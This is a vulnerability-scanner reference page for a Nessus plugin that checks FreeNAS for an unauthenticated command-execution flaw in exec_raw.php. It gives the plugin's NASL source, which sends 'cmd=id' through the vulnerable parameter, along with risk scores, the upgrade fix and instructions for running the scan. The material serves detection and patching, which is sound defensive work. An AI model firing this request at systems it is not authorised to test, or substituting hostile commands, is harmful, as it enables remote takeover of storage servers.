FreeNAS 'exec_raw.php' Arbitrary Command Execution - Nessus

Critical Plugin ID: 50510

This page contains detailed information about the FreeNAS 'exec_raw.php' Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 50510
Name: FreeNAS 'exec_raw.php' Arbitrary Command Execution
Filename: freenas_exec_raw_noauth.nasl
Vulnerability Published: 2010-11-06
This Plugin Published: 2010-11-08
Last Modification Time: 2021-01-19
Plugin Version: 1.18
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: freenas_web_detect.nasl
Required KB Items [?]: installed_sw/FreeNAS

Vulnerability Information

Severity: Critical
Vulnerability Published: 2010-11-06
Patch Published: 2010-11-06
CVE [?]: N/A
CPE [?]: N/A

Synopsis

A web application on the remote host is affected by an arbitrary command execution vulnerability.

Description

The version of FreeNAS on the remote host fails to restrict access to its 'exec_raw.php' script. A remote, unauthenticated attacker can pass arbitrary commands through the script's 'cmd' parameter and have them executed with administrative privileges.

Solution

Upgrade to FreeNAS 0.7.2.5543 or later.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the FreeNAS 'exec_raw.php' Arbitrary Command Execution vulnerability:

Metasploit: exploit/multi/http/freenas_exec_raw
[FreeNAS exec_raw.php Arbitrary Command Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:ND

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	9.5 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	9.5 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(50510);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(44974);
  script_xref(name:"TRA", value:"TRA-2010-04");

  script_name(english:"FreeNAS 'exec_raw.php' Arbitrary Command Execution");
  script_summary(english:"Tries to run the id command.");

  script_set_attribute(attribute:"synopsis", value:
"A web application on the remote host is affected by an arbitrary
command execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of FreeNAS on the remote host fails to restrict access to
its 'exec_raw.php' script. A remote, unauthenticated attacker can pass
arbitrary commands through the script's 'cmd' parameter and have them
executed with administrative privileges.");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2010-04");
  # http://sourceforge.net/p/freenas/code/HEAD/tree/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?64e77341");
  # http://sourceforge.net/projects/freenas/files/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?14bfd2c5");
  # https://github.com/freenas
  # Note that FreeNAS has moved its official repository to GitHub
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?aae7b1b3");
  script_set_attribute(attribute:"solution", value:"Upgrade to FreeNAS 0.7.2.5543 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'FreeNAS exec_raw.php Arbitrary Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/11/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/11/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/11/08");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("freenas_web_detect.nasl");
  script_require_keys("installed_sw/FreeNAS");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("data_protection.inc");

app_name = "FreeNAS";
get_install_count(app_name:app_name, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);
install = get_single_install(app_name:app_name, port:port);

cmd = 'id';
cmd_pat = 'uid=[0-9]+.*gid=[0-9]+.*';

url = install['dir'] + '/exec_raw.php?cmd=' + cmd;
res = http_send_recv3(method:'GET', item:url, port:port, exit_on_fail:TRUE);

if (egrep(pattern:cmd_pat, string:res[2]))
{
  if (report_verbosity > 0)
  {
    if (report_verbosity > 1)
      trailer = '\n\n  Which returned the output :\n\n' + data_protection::sanitize_uid(output:res[2]); # http => already has trailing \r\n
    else
      trailer = NULL;

    report = 'Nessus was able to verify the issue using the following URL :\n' +
      '\n  ' + build_url(qs:url, port:port) +
      trailer + '\n';

    security_hole(port:port, extra:report);
  }
  else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app_name, build_url(port:port, qs:install['dir']));

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/freenas_exec_raw_noauth.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\freenas_exec_raw_noauth.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/freenas_exec_raw_noauth.nasl

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How to Run

Here is how to run the FreeNAS 'exec_raw.php' Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select FreeNAS 'exec_raw.php' Arbitrary Command Execution plugin ID 50510.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl freenas_exec_raw_noauth.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a freenas_exec_raw_noauth.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - freenas_exec_raw_noauth.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state freenas_exec_raw_noauth.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

44974

TRA | Tenable Research Advisory:

TRA-2010-04

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file freenas_exec_raw_noauth.nasl version 1.18. For more plugins, visit the Nessus Plugin Library.

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FreeNAS 'exec_raw.php' Arbitrary Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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